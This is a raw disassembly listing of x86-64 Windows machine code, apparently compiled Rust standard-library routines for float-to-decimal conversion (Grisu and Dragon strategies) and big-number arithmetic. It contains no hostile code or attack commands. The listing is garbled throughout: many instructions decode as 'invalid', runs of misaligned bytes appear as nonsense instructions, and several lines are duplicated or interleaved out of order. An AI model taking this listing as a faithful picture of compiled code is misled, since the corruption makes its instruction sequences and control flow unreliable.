add byte [rcx], al
je 0x140043d39
add byte [rax + 0x39], cl
cmc
cmp rbp, rsi
ja 0x140043ed5
mov r8, 0xffffffffffffffff
mov rcx, rbp
mov ecx, ebp
invalid
mov ecx, ebp
nop dword [rax]
add byte [rax], al
add byte [rax], al
test rcx, rcx
test ecx, ecx
je 0x140043cd8
mov rax, rcx
dec rcx
inc r8
cmp byte [rsp + rax + 0x3f7], 0x39
add al, 0xf7
add eax, dword [rax]
add byte [rcx], bh
add al, 0xf7
add eax, dword [rax]
add byte [rcx], bh
je 0x140043ca0
inc byte [rsp + rcx + 0x3f8]
cmp rax, rbp
jae 0x140043d39
lea rcx, [rsp + rax]
add rcx, 0x3f8
mov dl, 0x30
call sub.VCRUNTIME140.dll_memset
jmp 0x140043d39
test rbp, rbp
je 0x140043d1b
mov byte [rsp + 0x3f8], 0x31
mov bl, 0x30
cmp rbp, 1
je 0x140043d1d
lea rcx, [rsp + 0x3f9]
lea r8, [rbp - 1]
push qword [r10 - 0x2eea17d0]
invalid
add bl, ch
invalid
push qword [r10 - 0x2eea17d0]
add eax, 0x481beb00
sbb ecx, dword [rax - 0x39]
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + rcx*4 - 0x44], cl
mov esp, 0x9024
add cl, ch
cmc
out dx, eax
invalid
invalid
adc eax, 0xeb0005d1
sbb ecx, dword [rax - 0x39]
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + rcx*4 - 0x44], cl
mov esp, 0x9024
mov esp, 0x9024
add cl, ch
cmc
out dx, eax
invalid
mov bl, 0x31
lea eax, [r14 + 1]
cmp r14w, di
jl 0x140043d36
cmp rbp, rsi
jae 0x140043d36
mov byte [rsp + rbp + 0x3f8], bl
inc rbp
mov r14d, eax
cmp rbp, rsi
ja 0x140043ea1
lea rcx, [rsp + 0x3f8]
cmp r14w, di
jle 0x140042f20
lea rax, [rsp + 0x158]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
mov rdx, rbp
mov r8d, r14d
mov r9, r15
stc
stc
call fcn.14003ed30
mov r9, qword [rsp + 0x88]
mov r10, qword [rsp + 0x80]
mov edx, dword [rsp + 0x80]
mov edx, dword [rsp + 0x80]
mov qword [rsp + 0x2a8], r10
mov qword [rsp + 0x2b0], r9
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x2c0], rdx
lea rdx, [rsp + 0x2a8]
mov rcx, r13
call fcn.140042410
nop
add rsp, 0x7f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rdx, rsi
call fcn.1400a4430
ud2
lea r8, str.librarycore_src_num_bignum.rs
mov ecx, 0x28
add bl, ch
invalid
add bl, ch
sbb eax, 0x53058d4c
add eax, 0x8bb53
mov rcx, qword [rsp + 0x60]
add eax, 0x8bb53
mov rcx, qword [rsp + 0x60]
mov rdx, rcx
call fcn.1400a4430
ud2
invalid
or ecx, dword [rbp + rcx*4 + 5]
sbb eax, 0xba0008d3
ror dword [rax], cl
add byte [rdx + 0x28], bh
add byte [rax], al
invalid
lea r8, str.librarycore_src_num_bignum.rs
ror dword [rax], cl
add byte [rdx + 0x28], bh
add byte [rax], al
invalid
mov edx, 0x28
add byte [rax], al
add al, ch
and eax, dword [rsi]
invalid
call fcn.1400a4430
ud2
mov edx, 0xb6eb0008
or byte [rax], al
jmp 0x140043dce
mov cl, 2
jmp 0x14004296a
invalid
invalid
invalid
mov ecx, eax
call fcn.1400a44b0
ud2
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
mov rcx, r12
call fcn.1400a44b0
ud2
lea eax, [0x1400d1120]
mov edx, 0x1b
invalid
add byte [rdx + 0x1b], bh
add al, ch
xchg ecx, eax
invalid
call fcn.1400a4530
ud2
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
jmp 0x140043edc
invalid
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
or byte [rax], al
mov rcx, rbp
call fcn.1400a44b0
fld qword [0x14b133edb]
fld qword [0x14b133edb]
or ecx, dword [rbp + rcx*4 + 5]
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
xor al, 0xba
or byte [rax], al
mov edx, 0x89480008
jmp 0x128f6c82b
mov rcx, rbp
mov rdx, rsi
call fcn.1400a44b0
ud2
invalid
or ecx, esp
int3
lea edx, [0x1400e6d1c]
movsxd r9, dword [rdx + r10*4]
xchg edx, eax
add byte [rsi + 0x63], cl
or al, 0x92
xchg edx, eax
add r9, rdx
jmp r9
add ebp, 0xfffffbcd
test bl, 1
sete r11b
jmp 0x140043feb
lea ecx, [r11 - 2]
movzx edx, cl
cmp dl, 3
mov ecx, 3
cmovb ecx, edx
test cl, cl
je 0x140044070
mov r15, rax
shr r15, 0x3f
test rax, rax
lea rax, [0x1400db341]
lea rdx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
cmovs rdx, rax
lea r14, [0x1400d007a]
cmovs r14, rax
test r8b, r8b
cmove r14, rdx
mov edx, 1
cmovne r15, rdx
cmp cl, 1
je 0x1400440b1
movzx eax, cl
cmp eax, 2
jne 0x1400440e3
mov word [rsp + 0x1b0], 2
lea rax, [0x1400db342]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], 1
jmp 0x1400440d6
mov word [rsp + 0x1b0], 2
lea rax, [0x1400d007b]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], 3
mov edx, 1
lea rax, [rsp + 0x1b0]
lea r14, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
xor r15d, r15d
jmp 0x1400457c5
mov word [rsp + 0x1b0], 2
lea rax, [0x1400d007e]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], 3
lea rax, [rsp + 0x1b0]
jmp 0x1400457c5
test rbx, rbx
je 0x140045970
lea rsi, [r12 + rbx]
mov rax, rsi
shr rax, 0x20
mov rcx, rsi
shl rcx, 0x20
lea edx, [rbp - 0x20]
test rax, rax
cmovne rcx, rsi
cmovne edx, ebp
mov rax, rcx
shr rax, 0x30
mov r8, rcx
shl r8, 0x10
lea r9d, [rdx - 0x10]
test rax, rax
cmovne r8, rcx
cmovne r9d, edx
mov rax, r8
shr rax, 0x38
mov rcx, r8
shl rcx, 8
lea edx, [r9 - 8]
test rax, rax
cmovne rcx, r8
cmovne edx, r9d
mov rax, rcx
shr rax, 0x3c
mov r9, rcx
shl r9, 4
test rax, rax
cmovne r9, rcx
lea eax, [rdx - 4]
cmovne eax, edx
mov rcx, r9
shr rcx, 0x3e
lea r10, [r9*4]
lea r8d, [rax - 2]
test rcx, rcx
cmovne r10, r9
cmovne r8d, eax
xor ecx, ecx
test r10, r10
setns cl
shl r10, cl
sub r8d, ecx
lea rax, [rbx - 1]
mov qword [rsp + 0x450], rax
mov word [rsp + 0x458], bp
mov ecx, ebp
sub cx, r8w
js 0x14004598a
and ecx, 0x3f
mov rdx, 0xffffffffffffffff
shr rdx, cl
mov r9, rdx
and r9, rax
mov qword [rsp + 0x4f8], r9
cmp rax, rdx
ja 0x140045945
mov qword [rsp + 0x198], r14
mov qword [rsp + 0x1a0], r15
mov qword [rsp + 0x1a8], rdi
mov qword [rsp + 0x190], rsi
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0x80], r11
shl rax, cl
mov qword [rsp + 0x450], rbx
mov word [rsp + 0x458], bp
mov r9, rdx
and r9, rbx
mov qword [rsp + 0x4f8], r9
cmp rbx, rdx
ja 0x140045945
mov edx, 0xffffffa0
sub edx, r8d
movsx edx, dx
lea edx, [rdx + rdx*4]
shl edx, 4
add edx, 0x153b0
imul r9, rdx, 0x7b4dc993
mov qword [rsp + 0x188], rbx
mov rdx, rbx
shl rdx, cl
shr r9, 0x26
and r9d, 0xfffffff0
lea rcx, [0x1400cf970]
mov r15, qword [r9 + rcx]
movzx r11d, word [r9 + rcx + 0xa]
mov dword [rsp + 0x30], r11d
mov r11, r10
shr r11, 0x20
mov rsi, r11
mov qword [rsp + 0xb0], r11
mov r10d, r10d
mov ebx, r15d
shr r15, 0x20
mov r11, r15
imul r11, r10
mov qword [rsp + 0x48], r11
mov r13, rbx
imul r13, rsi
imul r10, rbx
shr r10, 0x20
mov esi, r13d
add rsi, r10
mov edi, r11d
add rdi, rsi
add r8w, word [r9 + rcx + 8]
mov r14, rax
shr r14, 0x20
mov eax, eax
mov r9, r15
imul r9, r14
mov qword [rsp + 0x40], r9
mov r11, r15
imul r11, rax
imul r14, rbx
imul rax, rbx
shr rax, 0x20
mov r9d, r14d
add r9, rax
mov r10d, r11d
add r10, r9
mov r9d, edx
mov rsi, rdx
shr rsi, 0x20
mov r12, r15
imul r12, r9
mov rcx, rbx
imul rcx, rsi
imul rbx, r9
shr rbx, 0x20
mov edx, ecx
add rdx, rbx
mov ebx, r12d
add rbx, rdx
mov rdx, r15
imul rdx, qword [rsp + 0xb0]
sub rdi, 0xffffffff80000000
shr r13, 0x20
mov rax, qword [rsp + 0x48]
shr rax, 0x20
shr rdi, 0x20
neg r8d
sub r10, 0xffffffff80000000
shr r14, 0x20
mov qword [rsp + 0x70], r14
shr r11, 0x20
mov qword [rsp + 0x78], r11
shr r10, 0x20
mov r9, r15
mov qword [rsp + 0x178], rsi
imul r9, rsi
sub rbx, 0xffffffff80000000
shr rcx, 0x20
mov qword [rsp + 0x170], rcx
add r9, rcx
shr r12, 0x20
mov qword [rsp + 0x98], r13
mov qword [rsp + 0x88], rdx
lea rcx, [rdx + r13]
mov qword [rsp + 0x48], rax
add rcx, rax
lea r11, [rdi + rcx]
inc r11
and r8d, 0x3f
mov qword [rsp + 0x38], r11
mov ecx, r8d
shr r11, cl
mov edx, 1
shl rdx, cl
mov qword [rsp + 0x168], r12
add r9, r12
shr rbx, 0x20
mov qword [rsp + 0x180], rdx
lea r12, [rdx - 1]
cmp r11d, 0x2710
mov qword [rsp + 0xa0], rbp
mov qword [rsp + 0x90], rdi
jae 0x14004440f
cmp r11d, 0x64
jae 0x14004443a
xor ecx, ecx
cmp r11d, 0xa
setae cl
lea r14d, [rcx + rcx*8]
inc r14d
jmp 0x140044456
cmp r11d, 0xf4240
jae 0x14004473d
cmp r11d, 0x186a0
setb cl
mov edx, 0x2710
mov r14d, 0x186a0
cmovb r14d, edx
xor cl, 5
jmp 0x140044456
cmp r11d, 0x3e8
setb cl
mov edx, 0x64
mov r14d, 0x3e8
cmovb r14d, edx
xor cl, 3
mov r13, qword [rsp + 0x40]
mov esi, dword [rsp + 0x30]
mov qword [rsp + 0x160], rbx
add r9, rbx
mov qword [rsp + 0x68], r9
mov rdx, qword [rsp + 0x38]
mov rdi, rdx
and rdi, r12
movzx r9d, cl
mov ecx, r9d
sub ecx, esi
inc ecx
mov qword [rsp + 0x30], rcx
add r13, qword [rsp + 0x70]
add r13, qword [rsp + 0x78]
add r13, r10
mov qword [rsp + 0x40], r13
sub rdx, r13
mov qword [rsp + 0x70], rdx
lea r10, [rdx + 1]
mov rbx, r10
mov qword [rsp + 0x78], r12
and rbx, r12
xor r13d, r13d
mov r12d, 0xcccccccd
nop dword [rax]
mov eax, r11d
xor edx, edx
div r14d
add al, 0x30
mov r11d, edx
mov rdx, r11
mov ecx, r8d
shl rdx, cl
mov byte [rsp + r13 + 0x57], al
lea rbp, [rdx + rdi]
mov rsi, r10
sub rsi, rbp
ja 0x140044521
cmp r9, r13
je 0x140044622
mov eax, r14d
imul rax, r12
shr rax, 0x23
inc r13
cmp r14d, 0xa
mov r14d, eax
jae 0x1400444c0
lea rcx, [0x1400cfee0]
lea r8, str.librarycore_src_num_flt2dec_strategygrisu.rs
mov edx, 0x19
call fcn.1400a4530
ud2
mov r10d, r14d
mov ecx, r8d
shl r10, cl
mov r14, qword [rsp + 0x38]
sub r14, qword [rsp + 0x68]
lea rcx, [r14 + 1]
dec r14
cmp rsi, r10
setb r9b
cmp r14, rbp
jbe 0x14004479f
cmp rsi, r10
jb 0x14004479f
mov qword [rsp + 0x38], rcx
mov rbx, qword [rsp + 0x98]
mov r12, qword [rsp + 0x48]
lea r8, [rbx + r12]
mov rcx, qword [rsp + 0x90]
add r8, rcx
add r8, qword [rsp + 0x88]
mov r11, r8
sub r11, qword [rsp + 0x68]
sub r11, rbp
sub r8, qword [rsp + 0x40]
lea rsi, [rdi + r10]
sub r8, rsi
sub r8, rdx
mov rbp, qword [rsp + 0x170]
add rbp, rsi
add rbp, qword [rsp + 0x168]
add rbp, qword [rsp + 0x160]
mov r9, qword [rsp + 0x178]
sub r9, qword [rsp + 0xb0]
imul r15, r9
add r15, rbp
sub r15, rbx
sub r15, r12
sub r15, rcx
add r8, 2
nop word cs:[rax + rax]
lea rbx, [rdx + rsi]
cmp rbx, r14
jb 0x1400445f6
lea r9, [rdx + r15]
cmp r11, r9
jb 0x140044791
dec al
mov byte [rsp + r13 + 0x57], al
sub r8, r10
setb r9b
add rdi, r10
cmp rbx, r14
jae 0x14004461a
sub r11, r10
add rsi, r10
add r15, r10
test r9b, r9b
je 0x1400445e0
add rdx, rdi
jmp 0x140044797
inc r13
mov r9d, 1
mov r14, qword [rsp + 0x38]
mov r15, qword [rsp + 0x180]
mov r11, qword [rsp + 0x78]
nop dword [rax]
cmp r13, 0x10
ja 0x140045853
mov rax, r9
add rdi, rdi
lea rdx, [rdi + rdi*4]
mov rdi, rdx
and rdi, r11
lea rcx, [r9 + r9]
lea r9, [rcx + rcx*4]
add rbx, rbx
lea rbx, [rbx + rbx*4]
mov ecx, r8d
shr rdx, cl
lea ecx, [rdx + 0x30]
mov byte [rsp + r13 + 0x57], cl
inc r13
mov r10, rbx
sub r10, rdi
jbe 0x140044640
sub r14, qword [rsp + 0x68]
imul r14, r9
lea rcx, [r14 + r9]
cmp r10, r15
setb r11b
jb 0x1400447d8
sub r14, r9
mov r9, r14
sub r9, rdi
jbe 0x1400447d8
add dl, 0x2f
mov r10, rbx
sub r10, r15
sub r10, rdi
mov r8, qword [rsp + 0x98]
add r8, qword [rsp + 0x48]
add r8, qword [rsp + 0x90]
add r8, qword [rsp + 0x88]
add r8, r8
lea r8, [r8 + r8*4]
mov r11, qword [rsp + 0x68]
add r11, r11
lea rsi, [r11 + r11*4]
sub rsi, r8
imul rsi, rax
add rsi, r15
nop word cs:[rax + rax]
lea r8, [rdi + r15]
cmp r8, r14
jb 0x140044716
lea r11, [rsi + rdi]
cmp r9, r11
jb 0x1400447d5
mov byte [rsp + r13 + 0x56], dl
sub r10, r15
setb r11b
cmp r8, r14
jae 0x1400447db
dec dl
sub r9, r15
mov rdi, r8
test r11b, r11b
je 0x140044700
jmp 0x1400447db
cmp r11d, 0x5f5e100
mov r13, qword [rsp + 0x40]
mov esi, dword [rsp + 0x30]
jae 0x140044770
cmp r11d, 0x989680
setb cl
mov edx, 0xf4240
mov r14d, 0x989680
cmovb r14d, edx
xor cl, 7
jmp 0x14004445f
cmp r11d, 0x3b9aca00
setb cl
mov edx, 0x5f5e100
mov r14d, 0x3b9aca00
cmovb r14d, edx
xor cl, 9
jmp 0x14004445f
add rdx, rdi
xor r9d, r9d
mov rbp, rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
sub rax, rbp
jbe 0x1400447b9
test r9b, r9b
jne 0x1400447b9
add r10, rbp
sub r10, rcx
jb 0x14004481a
cmp rax, r10
jae 0x14004481a
cmp rbp, 2
jb 0x14004481a
mov rax, qword [rsp + 0x70]
add rax, 0xfffffffffffffffd
cmp rbp, rax
ja 0x14004481a
inc r13
jmp 0x14004578b
xor r11d, r11d
mov r8, rdi
mov rdx, rcx
sub rdx, r8
jbe 0x1400447f5
test r11b, r11b
jne 0x1400447f5
add r15, r8
sub r15, rcx
jb 0x14004481a
cmp rdx, r15
jae 0x14004481a
lea rcx, [rax*4]
lea rcx, [rcx + rcx*4]
cmp rcx, r8
ja 0x14004481a
shl rax, 3
lea rax, [rax + rax*4]
sub rbx, rax
cmp r8, rbx
jbe 0x14004578b
mov rax, qword [rsp + 0x190]
dec rax
je 0x140044831
bsr rax, rax
xor rax, 0x3f
jmp 0x140044836
mov eax, 0x40
mov rbx, qword [rsp + 0x80]
mov r8, qword [rsp + 0xa0]
mov r10, qword [rsp + 0xa8]
movsx rsi, r8w
mov rcx, rsi
sub rcx, rax
imul rax, rcx, 0x4d104d42
movabs r14, 0x1344135080
add r14, rax
shr r14, 0x20
xor eax, eax
xor ecx, ecx
mov r9, qword [rsp + 0x188]
mov rdx, r9
shr rdx, 0x20
cmove edx, eax
setne cl
inc rcx
mov qword [rsp + 0x158], rcx
mov dword [rsp + 0xb8], r9d
mov dword [rsp + 0xbc], edx
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0xd0], xmm0
movups xmmword [rsp + 0xe0], xmm0
movups xmmword [rsp + 0xf0], xmm0
movups xmmword [rsp + 0x100], xmm0
movups xmmword [rsp + 0x110], xmm0
movups xmmword [rsp + 0x120], xmm0
movups xmmword [rsp + 0x130], xmm0
movups xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x150], 0
mov qword [rsp + 0x448], 1
mov dword [rsp + 0x3a8], 1
movups xmmword [rsp + 0x3ac], xmm0
movups xmmword [rsp + 0x3bc], xmm0
movups xmmword [rsp + 0x3cc], xmm0
movups xmmword [rsp + 0x3dc], xmm0
movups xmmword [rsp + 0x3ec], xmm0
movups xmmword [rsp + 0x3fc], xmm0
movups xmmword [rsp + 0x40c], xmm0
movups xmmword [rsp + 0x41c], xmm0
movups xmmword [rsp + 0x42c], xmm0
movups xmmword [rsp + 0x438], xmm0
mov qword [rsp + 0x3a0], 1
mov dword [rsp + 0x300], r10d
movups xmmword [rsp + 0x304], xmm0
movups xmmword [rsp + 0x314], xmm0
movups xmmword [rsp + 0x324], xmm0
movups xmmword [rsp + 0x334], xmm0
movups xmmword [rsp + 0x344], xmm0
movups xmmword [rsp + 0x354], xmm0
movups xmmword [rsp + 0x364], xmm0
movups xmmword [rsp + 0x374], xmm0
movups xmmword [rsp + 0x384], xmm0
movups xmmword [rsp + 0x390], xmm0
movups xmmword [rsp + 0x2e8], xmm0
movups xmmword [rsp + 0x2dc], xmm0
movups xmmword [rsp + 0x2cc], xmm0
movups xmmword [rsp + 0x2bc], xmm0
movups xmmword [rsp + 0x2ac], xmm0
movups xmmword [rsp + 0x29c], xmm0
movups xmmword [rsp + 0x28c], xmm0
movups xmmword [rsp + 0x27c], xmm0
movups xmmword [rsp + 0x26c], xmm0
movups xmmword [rsp + 0x25c], xmm0
mov qword [rsp + 0x2f8], 1
mov dword [rsp + 0x258], 1
test r8w, r8w
js 0x140044a60
movzx edx, r8w
lea rcx, [rsp + 0xb8]
call fcn.14003ea40
lea rcx, [rsp + 0x3a8]
mov rdx, rsi
call fcn.14003ea40
lea rcx, [rsp + 0x300]
mov rdx, rsi
jmp 0x140044a6f
neg r8d
movsx rdx, r8w
lea rcx, [rsp + 0x258]
call fcn.14003ea40
test r14w, r14w
js 0x140044a88
movzx edx, r14w
lea rcx, [rsp + 0x258]
jmp 0x140044abb
mov eax, r14d
neg eax
movzx esi, ax
lea rcx, [rsp + 0xb8]
mov rdx, rsi
call fcn.14003e610
lea rcx, [rsp + 0x3a8]
mov rdx, rsi
call fcn.14003e610
lea rcx, [rsp + 0x300]
mov rdx, rsi
call fcn.14003e610
mov rsi, qword [rsp + 0x158]
mov qword [rsp + 0x250], rsi
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0xb8]
mov r8d, 0xa0
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsp + 0x3a0]
cmp rsi, rcx
mov rax, rcx
cmova rax, rsi
cmp rax, 0x28
ja 0x1400458e4
test rax, rax
je 0x140044b19
cmp rax, 1
jne 0x140044b20
xor edx, edx
xor r8d, r8d
jmp 0x140044b71
xor eax, eax
jmp 0x140044bb9
mov r9, rax
and r9, 0xfffffffffffffffe
xor r8d, r8d
xor edx, edx
nop dword [rax]
movzx r8d, r8b
bt r8d, 0
mov r8d, dword [rsp + rdx*4 + 0x300]
mov r10d, dword [rsp + rdx*4 + 0x304]
adc dword [rsp + rdx*4 + 0x1b0], r8d
adc dword [rsp + rdx*4 + 0x1b4], r10d
lea rdx, [rdx + 2]
setb r8b
cmp r9, rdx
jne 0x140044b30
test al, 1
jne 0x140044b71
test r8b, r8b
je 0x140044bb9
jmp 0x140044ba1
mov r9d, dword [rsp + rdx*4 + 0x1b0]
mov r10d, dword [rsp + rdx*4 + 0x300]
lea r11d, [r9 + r10]
movzx edi, r8b
add edi, r11d
setb r8b
mov dword [rsp + rdx*4 + 0x1b0], edi
add r9d, r10d
jb 0x140044ba1
test r8b, r8b
je 0x140044bb9
cmp rax, 0x27
ja 0x1400458a0
mov dword [rsp + rax*4 + 0x1b0], 1
inc rax
mov qword [rsp + 0x250], rax
mov rdx, qword [rsp + 0x2f8]
cmp rdx, rax
cmova rax, rdx
cmp rax, 0x29
jae 0x1400458e4
shl rax, 2
mov r8d, 0xff
nop word cs:[rax + rax]
test rax, rax
je 0x140044c26
mov r10d, dword [rsp + rax + 0x1ac]
xor r9d, r9d
cmp r10d, dword [rsp + rax + 0x254]
setne r9b
cmova r9d, r8d
add rax, 0xfffffffffffffffc
test r9b, r9b
je 0x140044bf0
cmp r9b, bl
jge 0x140044c46
inc r14d
jmp 0x140044d7a
add rax, rsp
add rax, 0x1b0
lea r8, [rsp + 0x1b0]
cmp rax, r8
setne r9b
neg r9b
cmp r9b, bl
jl 0x140044c1e
test rsi, rsi
je 0x140044ca0
lea r8, [rsi*4]
xor r9d, r9d
xor eax, eax
nop dword [rax + rax]
mov r10d, dword [rsp + r9 + 0xb8]
lea r10, [r10 + r10*4]
lea rax, [rax + r10*2]
mov dword [rsp + r9 + 0xb8], eax
shr rax, 0x20
add r9, 4
cmp r8, r9
jne 0x140044c60
test rax, rax
je 0x140044ca2
cmp rsi, 0x27
ja 0x1400458b8
mov dword [rsp + rsi*4 + 0xb8], eax
inc rsi
jmp 0x140044ca2
xor esi, esi
mov qword [rsp + 0x158], rsi
mov rax, qword [rsp + 0x448]
cmp rax, 0x29
jae 0x1400458e4
test rax, rax
je 0x140044d11
lea r9, [rax*4]
xor r10d, r10d
xor r8d, r8d
nop
mov r11d, dword [rsp + r10 + 0x3a8]
lea r11, [r11 + r11*4]
lea r8, [r8 + r11*2]
mov dword [rsp + r10 + 0x3a8], r8d
shr r8, 0x20
add r10, 4
cmp r9, r10
jne 0x140044cd0
test r8, r8
je 0x140044d13
cmp rax, 0x27
ja 0x1400458a0
mov dword [rsp + rax*4 + 0x3a8], r8d
inc rax
jmp 0x140044d13
xor eax, eax
mov qword [rsp + 0x448], rax
test rcx, rcx
je 0x140044d70
lea r8, [rcx*4]
xor r9d, r9d
xor eax, eax
nop dword [rax]
mov r10d, dword [rsp + r9 + 0x300]
lea r10, [r10 + r10*4]
lea rax, [rax + r10*2]
mov dword [rsp + r9 + 0x300], eax
shr rax, 0x20
add r9, 4
cmp r8, r9
jne 0x140044d30
test rax, rax
je 0x140044d72
cmp rcx, 0x27
ja 0x14004586b
mov dword [rsp + rcx*4 + 0x300], eax
inc rcx
jmp 0x140044d72
xor ecx, ecx
mov qword [rsp + 0x3a0], rcx
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x640], rdx
lea rdi, [rsp + 0x5a0]
lea rsi, [rsp + 0x258]
mov r8d, 0xa0
mov rcx, rdi
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov edx, 1
mov rcx, rdi
call fcn.14003ea40
mov rax, qword [rsp + 0x2f8]
mov qword [rsp + 0x598], rax
lea rdi, [rsp + 0x4f8]
mov r8d, 0xa0
mov rcx, rdi
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov edx, 2
mov rcx, rdi
call fcn.14003ea40
mov rax, qword [rsp + 0x2f8]
mov qword [rsp + 0x4f0], rax
lea rdi, [rsp + 0x450]
mov r8d, 0xa0
mov rcx, rdi
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov edx, 3
mov rcx, rdi
call fcn.14003ea40
mov rcx, qword [rsp + 0x4f0]
mov r15, qword [rsp + 0x158]
cmp r15, rcx
mov qword [rsp + 0x38], rcx
cmova rcx, r15
cmp rcx, 0x28
ja 0x1400458fa
mov rax, qword [rsp + 0x598]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x640]
mov qword [rsp + 0x40], rax
mov rbp, qword [rsp + 0x2f8]
xor r13d, r13d
mov r12d, 0xff
jmp 0x140044ea0
mov rdi, r13
lea rax, [rcx*4]
nop dword [rax + rax]
test rax, rax
je 0x140044ef0
mov r8d, dword [rsp + rax + 0x44c]
xor edx, edx
cmp r8d, dword [rsp + rax + 0xb4]
setne dl
cmova edx, r12d
add rax, 0xfffffffffffffffc
test dl, dl
je 0x140044eb0
cmp dl, 1
ja 0x140044f0e
test rcx, rcx
je 0x140044fa1
cmp rcx, 1
jne 0x140044f18
mov al, 1
xor edx, edx
jmp 0x140044f6b
add rax, rsp
add rax, 0x450
lea rdx, [rsp + 0x450]
cmp rax, rdx
setne dl
neg dl
cmp dl, 1
jbe 0x140044edb
xor edx, edx
mov rcx, r15
jmp 0x140044fab
mov r8, rcx
and r8, 0xfffffffffffffffe
mov al, 1
xor edx, edx
nop word cs:[rax + rax]
mov r9d, dword [rsp + rdx*4 + 0x450]
not r9d
movzx eax, al
bt eax, 0
adc dword [rsp + rdx*4 + 0xb8], r9d
mov eax, dword [rsp + rdx*4 + 0x454]
not eax
adc dword [rsp + rdx*4 + 0xbc], eax
lea rdx, [rdx + 2]
setb al
cmp r8, rdx
jne 0x140044f30
test cl, 1
je 0x140044f99
mov r8d, dword [rsp + rdx*4 + 0x450]
not r8d
mov r9d, dword [rsp + rdx*4 + 0xb8]
lea r10d, [r8 + r9]
movzx r11d, al
add r11d, r10d
setb al
mov dword [rsp + rdx*4 + 0xb8], r11d
add r8d, r9d
jb 0x140044fa1
test al, al
je 0x14004590d
mov qword [rsp + 0x158], rcx
mov dl, 8
mov rax, qword [rsp + 0x48]
cmp rcx, rax
cmova rax, rcx
cmp rax, 0x29
jae 0x1400458e4
lea r8, [rax*4]
nop dword [rax]
test r8, r8
je 0x140045020
mov r10d, dword [rsp + r8 + 0x4f4]
xor r9d, r9d
cmp r10d, dword [rsp + r8 + 0xb4]
setne r9b
cmova r9d, r12d
add r8, 0xfffffffffffffffc
test r9b, r9b
je 0x140044fd0
cmp r9b, 1
ja 0x140045042
test rax, rax
je 0x1400450d1
cmp rax, 1
jne 0x14004504a
mov cl, 1
xor r8d, r8d
jmp 0x14004509c
add r8, rsp
add r8, 0x4f8
lea r9, [rsp + 0x4f8]
cmp r8, r9
setne r9b
neg r9b
cmp r9b, 1
jbe 0x140044fff
mov rax, rcx
jmp 0x1400450dc
mov r9, rax
and r9, 0xfffffffffffffffe
mov cl, 1
xor r8d, r8d
nop word cs:[rax + rax]
mov r10d, dword [rsp + r8*4 + 0x4f8]
not r10d
movzx ecx, cl
bt ecx, 0
adc dword [rsp + r8*4 + 0xb8], r10d
mov ecx, dword [rsp + r8*4 + 0x4fc]
not ecx
adc dword [rsp + r8*4 + 0xbc], ecx
lea r8, [r8 + 2]
setb cl
cmp r9, r8
jne 0x140045060
test al, 1
je 0x1400450c9
mov r9d, dword [rsp + r8*4 + 0x4f8]
not r9d
mov r10d, dword [rsp + r8*4 + 0xb8]
lea r11d, [r9 + r10]
movzx esi, cl
add esi, r11d
setb cl
mov dword [rsp + r8*4 + 0xb8], esi
add r9d, r10d
jb 0x1400450d1
mov qword [rsp + 0x158], rax
or dl, 4
mov rcx, qword [rsp + 0x40]
cmp rax, rcx
cmova rcx, rax
cmp rcx, 0x29
jae 0x1400458fa
lea r8, [rcx*4]
nop word [rax + rax]
test r8, r8
je 0x140045150
mov r10d, dword [rsp + r8 + 0x59c]
xor r9d, r9d
cmp r10d, dword [rsp + r8 + 0xb4]
setne r9b
cmova r9d, r12d
add r8, 0xfffffffffffffffc
test r9b, r9b
je 0x140045100
add r8, rsp
add r8, 0x5a0
lea r9, [rsp + 0x5a0]
cmp r8, r9
setne r9b
neg r9b
cmp r9b, 1
jbe 0x14004512f
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x57]
mov rdx, r13
mov r8, qword [rsp + 0x30]
xor r9d, r9d
call fcn.14003ed30
mov rdi, qword [rsp + 0x1a8]
mov r15, qword [rsp + 0x1a0]
mov r14, qword [rsp + 0x198]
mov qword [rsp + 0x450], r14
mov qword [rsp + 0x458], r15
mov qword [rsp + 0x460], rax
mov qword [rsp + 0x468], rdx
lea rdx, [rsp + 0x450]
mov rcx, rdi
call fcn.140042410
nop
add rsp, 0x648
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.librarycore_src_num_flt2dec_strategygrisu.rs
mov ecx, 0x11
mov edx, 0x11
call fcn.1400a4430
ud2
lea r8, str.librarycore_src_num_bignum.rs
jmp 0x1400458ac
lea r8, str.librarycore_src_num_bignum.rs
mov ecx, 0x28
mov edx, 0x28
call fcn.1400a4430
ud2
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
mov rcx, rsi
call fcn.1400a4430
ud2
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
mov rcx, rax
call fcn.1400a44b0
ud2
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
call fcn.1400a44b0
ud2
